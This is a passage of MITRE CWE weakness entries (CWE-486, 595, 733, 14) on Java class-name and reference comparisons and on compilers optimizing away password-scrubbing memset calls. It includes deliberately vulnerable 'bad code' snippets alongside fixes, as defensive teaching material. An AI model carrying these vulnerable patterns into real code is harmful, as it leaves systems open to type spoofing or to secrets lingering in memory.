2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-486: Comparison of Classes by Name

Weakness ID: 486
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.
+ Extended Description
If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1025Comparison Using Wrong Factors
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.386Symbolic Name not Mapping to Correct Object
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

If a product relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In this example, the expression in the if statement compares the class of the inputClass object to a trusted class by comparing the class names.

(bad code)
Example Language: Java 
if (inputClass.getClass().getName().equals("TrustedClassName")) {

// Do something assuming you trust inputClass

// ...
}

However, multiple classes can have the same name therefore comparing an object's class by name can allow untrusted classes of the same name as the trusted class to be use to execute unintended or incorrect code. To compare the class of an object to the intended class the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

(good code)
Example Language: Java 
if (inputClass.getClass() == TrustedClass.class) {

// Do something assuming you trust inputClass

// ...
}

Example 2

In this example, the Java class, TrustedClass, overrides the equals method of the parent class Object to determine equivalence of objects of the class. The overridden equals method first determines if the object, obj, is the same class as the TrustedClass object and then compares the object's fields to determine if the objects are equivalent.

(bad code)
Example Language: Java 
public class TrustedClass {
...

@Override
public boolean equals(Object obj) {
boolean isEquals = false;

// first check to see if the object is of the same class
if (obj.getClass().getName().equals(this.getClass().getName())) {

// then compare object fields
...
if (...) {
isEquals = true;
}
}

return isEquals;
}

...
}

However, the equals method compares the class names of the object, obj, and the TrustedClass object to determine if they are the same class. As with the previous example using the name of the class to compare the class of objects can lead to the execution of unintended or incorrect code if the object passed to the equals method is of another class with the same name. To compare the class of an object to the intended class, the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

(good code)
Example Language: Java 
public boolean equals(Object obj) {
...

// first check to see if the object is of the same class
if (obj.getClass() == this.getClass()) {
...
}

...
}
+ Potential Mitigations

Phase: Implementation

Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.4857PK - Encapsulation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.849The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1139SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1397Comprehensive Categorization: Comparison
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsComparing Classes by Name
CLASPComparing classes by name
The CERT Oracle Secure Coding Standard for Java (2011)OBJ09-JCompare classes and not class names
Software Fault PatternsSFP1Glitch in computation
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Relationships, Other_Notes, Relevant_Properties, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Other_Notes
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships, Relevant_Properties
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Comparing Classes by Name

CWE-595: Comparison of Object References Instead of Object Contents

Weakness ID: 595
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.
+ Extended Description
For example, in Java, comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values; often, this means that using == for strings is actually comparing the strings' references, not their values.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1025Comparison Using Wrong Factors
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.597Use of Wrong Operator in String Comparison
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.597Use of Wrong Operator in String Comparison
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1097Persistent Storable Data Element without Associated Comparison Control Element
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

JavaScript (Undetermined Prevalence)

PHP (Undetermined Prevalence)

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

This weakness can lead to erroneous results that can cause unexpected application behaviors.
+ Demonstrative Examples

Example 1

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

(bad code)
Example Language: Java 
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
System.out.println("str1 == str2");
}

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

(good code)
 
if (str1.equals(str2)) {
System.out.println("str1 equals str2");
}

Example 2

In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator.

(bad code)
Example Language: Java 
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
return accountA == accountB;
}

Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object.

The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects.

(good code)
Example Language: Java 
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
return accountA.equals(accountB);
}
+ Potential Mitigations

Phase: Implementation

In Java, use the equals() method to compare objects instead of the == operator. If using ==, it is important for performance reasons that your objects are created by a static factory, not by a constructor.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.847The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1136SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1397Comprehensive Categorization: Comparison
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)EXP02-JUse the two-argument Arrays.equals() method to compare the contents of arrays
The CERT Oracle Secure Coding Standard for Java (2011)EXP02-JUse the two-argument Arrays.equals() method to compare the contents of arrays
The CERT Oracle Secure Coding Standard for Java (2011)EXP03-JDo not use the equality operators when comparing values of boxed primitives
+ References
[REF-954] Mozilla MDN. "Equality comparisons and sameness". <https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness>. URL validated: 2017-11-17.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes
2009-05-27CWE Content TeamMITRE
updated Name
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences
2014-07-30CWE Content TeamMITRE
updated Relationships
2018-03-27CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Other_Notes, Potential_Mitigations, References, Relationships, Type
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Incorrect Object Comparison: Syntactic
2009-05-27Incorrect Syntactic Object Comparison

CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

Weakness ID: 733
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1038Insecure Automated Optimizations
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.14Compiler Removal of Code to Clear Buffers
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.438Behavioral Problems
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Compiled (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Other

Technical Impact: Bypass Protection Mechanism; Other

+ Demonstrative Examples

Example 1

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using memset().

(bad code)
Example Language:
void GetData(char *MFAddr) {
char pwd[64];
if (GetPasswordFromUser(pwd, sizeof(pwd))) {

if (ConnectToMainframe(MFAddr, pwd)) {

// Interaction with mainframe
}
}
memset(pwd, 0, sizeof(pwd));
}

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to memset() will be removed as a dead store because the buffer pwd is not used after its value is overwritten [18]. Because the buffer pwd contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to memset() as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

+ Observed Examples
ReferenceDescription
C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows.
Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787).
+ Detection Methods

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.976SFP Secondary Cluster: Compiler
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1398Comprehensive Categorization: Component Interaction
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "A Compiler Optimization Caveat" Page 322. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-10-01
(CWE 1.0.1, 2008-10-14)
CWE Content TeamMITRE
new weakness-focused entry for Research view closes the gap between 14 and 435.
+ Modifications
Modification DateModifierOrganization
2008-11-24CWE Content TeamMITRE
updated Detection_Factors
2009-03-10CWE Content TeamMITRE
updated Applicable_Platforms, Observed_Examples, Related_Attack_Patterns, Relationships
2010-02-16CWE Content TeamMITRE
updated References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-14: Compiler Removal of Code to Clear Buffers

Weakness ID: 14
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."
+ Extended Description

This compiler optimization error occurs when:

  1. Secret data are stored in memory.
  2. The secret data are scrubbed from memory by overwriting its contents.
  3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.733Compiler Optimization Removal or Modification of Security-critical Code
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Build and Compilation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Access Control

Technical Impact: Read Memory; Bypass Protection Mechanism

This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.
+ Demonstrative Examples

Example 1

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using memset().

(bad code)
Example Language:
void GetData(char *MFAddr) {
char pwd[64];
if (GetPasswordFromUser(pwd, sizeof(pwd))) {

if (ConnectToMainframe(MFAddr, pwd)) {

// Interaction with mainframe
}
}
memset(pwd, 0, sizeof(pwd));
}

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to memset() will be removed as a dead store because the buffer pwd is not used after its value is overwritten [18]. Because the buffer pwd contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to memset() as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

+ Potential Mitigations

Phase: Implementation

Store the sensitive data in a "volatile" memory location if available.

Phase: Build and Compilation

If possible, configure your compiler so that it does not remove dead stores.

Phase: Architecture and Design

Where possible, encrypt sensitive data that are used by a software system.
+ Detection Methods

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.
+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.27PK - Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.729OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
